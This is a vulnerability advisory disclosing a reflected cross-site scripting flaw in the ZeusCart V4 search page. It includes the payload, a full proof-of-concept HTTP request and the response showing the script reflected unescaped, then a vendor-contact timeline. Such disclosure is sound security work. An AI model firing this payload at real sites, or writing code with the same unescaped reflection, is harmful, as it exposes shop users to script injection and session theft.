#Vulnerability: Cross-Site Scripting
#Vendor: http://www.zeuscart.com
#Download link: http://zeuscart.com/download/
#Affected version: Zeuscart V4
#CVSS v3.0 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
#Condition: The attack is performed by an "Anonymous User"
#Payload: "--><ScRipt>alert(/ITASVN/)</ScRipT>
#Fix version: N/A
#Author: Dang Quoc Thai – thai.q.dang@itas.vn và ITAS Team

::PROOF OF CONCEPT::
+ REQUEST
GET
/index.php?do=search&search=%22--%3E%3CScRipt%3Ealert(/ITASVN/)%3C/ScRipT%3E
HTTP/1.1
Host: demo.target.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101
Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.target.com/demo/
Cookie: PHPSESSID=0f9ce01d2822471dee23af07947e9074
Connection: keep-alive

+RESPONSE
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2015 02:21:55 GMT
Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips
mod_bwlimited/1.4
X-Powered-By: PHP/5.3.29
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 25032
...
<!--logo-->
<div id="logo_div">
<div class="row-fluid">
<span class="hidden-tablet">
<div class="span5"><a href="http://demo.target.com/index.php?do=index"><img
src="http://demo.target.com/images/logo/20151012210547_sell_logo.png"
alt="ZeusCart"></a></div>
<div class="span4">
<div class="input-append"  style=" margin-top: 30px;">
<input style="width:170px; height:18px; overflow:hidden;"  name="search"
type="text" id="searchtxt" value="\"--><ScRipt>alert(/ITASVN/)</ScRipT>"
onclick="searchitem();">&nbsp;<button class="btn" type="button"
onclick="searchSubmit();" value="Search"><i class="icon-zoom-in"></i>
Search</button>
</div></div>
<div class="span3" style=" margin-top: 30px;"><a
href="http://demo.target.com/index.php?do=showcart"><div
id="shopping_cart"><i>Shopping Cart - 0&nbsp;Items</i></div></a>
</div>
</span
...

::Timeline::
- 10/13/2015: Contact vendor
- 10/16/2015: No response from vendor
- 10/16/2015: Disclose information

::REFERENCE::
  -
http://www.itas.vn/en/itas-team-found-out-a-cross-site-scripting-vulnerabili
ty-in-zeuscart-cms/ 
  - https://www.youtube.com/watch?v=CPgzAra_mXw